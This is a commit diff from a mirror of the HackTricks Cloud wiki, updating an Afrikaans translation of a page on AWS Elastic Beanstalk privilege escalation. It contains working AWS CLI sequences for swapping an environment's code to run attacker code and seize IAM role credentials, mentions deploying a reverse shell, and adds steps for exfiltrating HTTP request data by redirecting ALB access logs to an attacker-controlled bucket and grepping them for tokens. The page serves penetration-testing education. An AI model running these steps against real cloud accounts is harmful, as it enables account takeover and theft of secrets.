gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-07-28 22:51:09 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

Browse Source
This commit is contained in:
Translator
2026-05-18 15:35:16 +00:00
parent 8335af96eb
commit 799134998c
1 changed files with 99 additions and 14 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md
+99 -14
View File
@@ -4,18 +4,18 @@
## Elastic Beanstalk
Meer **inligting oor Elastic Beanstalk** by:
Meer **info oor Elastic Beanstalk** in:
{{#ref}}
../../aws-services/aws-elastic-beanstalk-enum.md
{{#endref}}
> [!WARNING]
> Om sensitiewe aksies in Beanstalk uit te voer, benodig jy 'n **groot hoeveelheid sensitiewe toestemmings oor baie verskillende dienste**. Jy kan byvoorbeeld die toestemmings nagaan wat gegee is aan **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`**
> Om sensitiewe aksies in Beanstalk uit te voer, sal jy **baie sensitiewe permissions in baie verskillende services** nodig hê. Jy kan byvoorbeeld die permissions nagaan wat gegee word aan **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`**
### `elasticbeanstalk:RebuildEnvironment`, S3 skryftoestemmings & baie ander
### `elasticbeanstalk:RebuildEnvironment`, S3 write permissions & many others
Met **skryftoestemming oor die S3-bucket** wat die **code** van die omgewing bevat en toestemmings om die toepassing te **herbou** (dit benodig `elasticbeanstalk:RebuildEnvironment` en 'n paar meer verbonde aan `S3`, `EC2` en `Cloudformation`), kan jy die **code** **wysig**, die app **herbou** en die volgende keer wanneer jy die app besoek sal dit jou **nuwe code** uitvoer, wat die aanvaller in staat stel om die toepassing en die IAM role credentials daarvan te kompromitteer.
Met **write permissions oor die S3 bucket** wat die **code** van die environment bevat en permissions om die application te **rebuild** (dit vereis `elasticbeanstalk:RebuildEnvironment` en nog 'n paar verwant aan `S3` , `EC2` en `Cloudformation`), kan jy die **code** **modify**, die app **rebuild** en die volgende keer wat jy toegang tot die app kry, sal dit **your new code execute**, wat die attacker in staat stel om die application en die IAM role credentials daarvan te compromise.
```bash
# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
@@ -32,37 +32,37 @@ aws elasticbeanstalk rebuild-environment --environment-name "env-name"
```
### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, en meer...
Die genoemde plus verskeie **`S3`**, **`EC2`, `cloudformation`** ,**`autoscaling`** and **`elasticloadbalancing`** toestemmings is nodig om 'n rou Elastic Beanstalk-scenario van nuuts af te skep.
Die genoemde plus verskeie **`S3`**, **`EC2`**, `cloudformation`**,** `autoscaling`** en **`elasticloadbalancing`** permissies is die noodsaaklike vereistes om ’n rou Elastic Beanstalk-scenario van nuuts af te skep.
- Skep 'n AWS Elastic Beanstalk-toepassing:
- Skep ’n AWS Elastic Beanstalk-toepassing:
```bash
aws elasticbeanstalk create-application --application-name MyApp
```
- Skep 'n AWS Elastic Beanstalk-omgewing ([**supported platforms**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)):
- Skep 'n AWS Elastic Beanstalk-omgewing ([**ondersteunde platforms**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)):
```bash
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role
```
As 'n omgewing reeds geskep is en jy **wil nie 'n nuwe een skep nie**, kan jy net die bestaande een **bywerk**.
As `n` omgewings reeds geskep is en jy **nie ’n nuwe een wil skep nie**, kan jy eenvoudig die bestaande een **update**.
- Pak jou toepassingskode en afhanklikhede in 'n ZIP-lêer:
- Pak jou application code en dependencies in ’n ZIP-lêer:
```python
zip -r MyApp.zip .
```
- Laai die ZIP-lêer na 'n S3-bucket:
- Laai die ZIP-lêer op na ’n S3 bucket:
```python
aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
```
- Skep AWS Elastic Beanstalk toepassingsweergawe:
- Skep ’n AWS Elastic Beanstalk application version:
```css
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
```
- Ontplooi die toepassingsweergawe na jou AWS Elastic Beanstalk omgewing:
- Deploy die application version na jou AWS Elastic Beanstalk environment:
```bash
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0
```
### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses`
Eerstens moet jy 'n **legitieme Beanstalk-omgewing** skep met die **code** wat jy in die **victim** wil laat loop volgens die **vorige stappe**. Potensieel 'n eenvoudige **zip** wat hierdie **2 lêers** bevat:
Eerstens moet jy ’n **legit Beanstalk environment** skep met die **code** wat jy in die **victim** wil laat loop, volgens die **vorige stappe**. Moontlik ’n eenvoudige **zip** wat hierdie **2 files** bevat:
{{#tabs }}
{{#tab name="application.py" }}
@@ -111,7 +111,7 @@ Werkzeug==1.0.1
{{#endtab }}
{{#endtabs }}
Sodra jy **jou eie Beanstalk env laat loop** met jou rev shell, is dit tyd om dit na die **slagoffer** se env te **migreer**. Om dit te doen moet jy die **Bucket Policy** van jou Beanstalk S3 bucket opdateer sodat die **slagoffer toegang daartoe kan kry** (Let wel dat dit die Bucket vir **ALMAL** sal **open**):
Sodra jy **jou eie Beanstalk env** laat loop met jou rev shell, is dit tyd om dit na die **slagoffers** se env te **migrate**. Om dit te doen moet jy die **Bucket Policy** van jou beanstalk S3 bucket **update** sodat die **victim** dit kan access (Let op dat dit die Bucket vir **EVERYONE** sal **open**):
```json
{
"Version": "2008-10-17",
@@ -162,4 +162,89 @@ Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBe
The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.
```
### `elasticbeanstalk:DescribeEnvironmentResources`, `elasticloadbalancing:ModifyLoadBalancerAttributes`, `s3:PutBucketPolicy`, `s3:ListBucket`, `s3:GetObject` om ALB access logs exfiltration moontlik te maak
As 'n aanvaller 'n Elastic Beanstalk **web**-omgewing kan **enumereer**, dit kan **opdateer**, en ook die **policy** van 'n S3 bucket wat hulle besit kan **beheer**, kan hulle moontlik **HTTP traffic exfiltrate** deur **ALB access logs** te aktiveer en dit na daardie bucket te herlei.
> [!NOTE]
> Hierdie tegniek benodig ook die vermoë om die **destination bucket policy** te **modify** sodat die ALB log delivery service die logs daarheen kan skryf.
Berei 'n **attacker-controlled bucket** voor sodat die ALB log delivery service daarheen kan skryf:
```bash
ENV_NAME=<environment-name>
LOG_BUCKET=<attacker-bucket>
LOG_PREFIX=<prefix>
cat > /tmp/alb-log-policy.json <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowALBLogDeliveryPut",
"Effect": "Allow",
"Principal": {
"Service": [
"logdelivery.elasticloadbalancing.amazonaws.com",
"delivery.logs.amazonaws.com"
]
},
"Action": "s3:PutObject",
"Resource": "arn:aws:s3:::$LOG_BUCKET/$LOG_PREFIX/AWSLogs/$ACCOUNT_ID/*"
},
{
"Sid": "AllowALBLogDeliveryAclCheck",
"Effect": "Allow",
"Principal": {
"Service": [
"logdelivery.elasticloadbalancing.amazonaws.com",
"delivery.logs.amazonaws.com"
]
},
"Action": [
"s3:GetBucketAcl",
"s3:ListBucket"
],
"Resource": "arn:aws:s3:::$LOG_BUCKET"
}
]
}
EOF
aws s3api put-bucket-policy \
--bucket "$LOG_BUCKET" \
--policy file:///tmp/alb-log-policy.json \
--profile "$PROFILE"
```
Aktiveer dan die ALB access logs:
```bash
aws elbv2 modify-load-balancer-attributes \
--load-balancer-arn "$LB_ARN" \
--attributes \
Key=access_logs.s3.enabled,Value=true \
Key=access_logs.s3.bucket,Value=$LOG_BUCKET \
Key=access_logs.s3.prefix,Value=$LOG_PREFIX \
--region us-east-1 \
--profile "$PROFILE"
```
Wag daarna vir die ALB om die logs te batch en te lewer:
```bash
aws s3 ls "s3://$LOG_BUCKET/$LOG_PREFIX/AWSLogs/$ACCOUNT_ID/" --recursive --profile "$PROFILE"
```
Laastens, laai die logs af en grep vir interessante query strings:
```bash
mkdir -p /tmp/lab2-logs
aws s3 cp "s3://$LOG_BUCKET/$LOG_PREFIX/AWSLogs/$ACCOUNT_ID/" \
/tmp/lab2-logs \
--recursive \
--profile "$PROFILE"
find /tmp/lab2-logs -name '*.gz' -print0 | xargs -0 zgrep -n 'token='
```
Die **request line** binne die ALB logs kan waardes soos **`?token=<FLAG>`** bevat as sensitiewe data in die URL gestuur word.
**Impact**:
- Deurlopende exfiltration van HTTP request metadata deur 'n logging plane wat deur die aanvaller beheer word
- Blootstelling van secrets wat in die URL query string teenwoordig is
- 'n Meer stealthy exfiltration pad omdat die traffic deur legitieme application components geproduseer word en deur AWS-managed logging uitgevoer word
{{#include ../../../../banners/hacktricks-training.md}}